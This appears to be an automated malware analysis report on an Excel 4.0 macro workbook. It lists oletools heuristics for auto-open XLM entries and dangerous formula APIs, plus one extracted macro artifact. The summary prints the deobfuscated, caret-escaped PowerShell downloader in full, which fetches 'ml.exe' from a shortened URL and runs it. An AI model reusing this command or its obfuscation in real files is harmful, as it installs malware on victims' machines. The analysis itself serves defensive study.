Malware Insights
The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN indicate the presence of an Excel 4.0 macro designed to auto-execute. The macro uses the EXEC function to run a PowerShell command. This command is constructed by concatenating strings and references to other cells, ultimately forming the command: "c"&CHAR(109)&"d /c "&CHAR(D117)&"o^wer^she^l^l -w 1 (nEw-oB`jecT Ne"&CHAR(116)&CHAR(46)&CHAR(87)&CHAR(101)&"bcLIENt).('Do"&CHAR(119)&"n'+'loadFile').In"&CHAR(118)&"oke('"&CHAR(104)&"ttps://tinyurl.com/yxd46z2p','ml"&CHAR(46)&"exe')". This command downloads a file named 'ml.exe' from the provided URL and executes it. A subsequent macro command attempts to move the downloaded file to the user's AppData directory.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt62807f6b2b4279876b99acdcd28c84dbc1ca538a8e4e41ff4cd702f1ba1de40a |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 1359 bytes |
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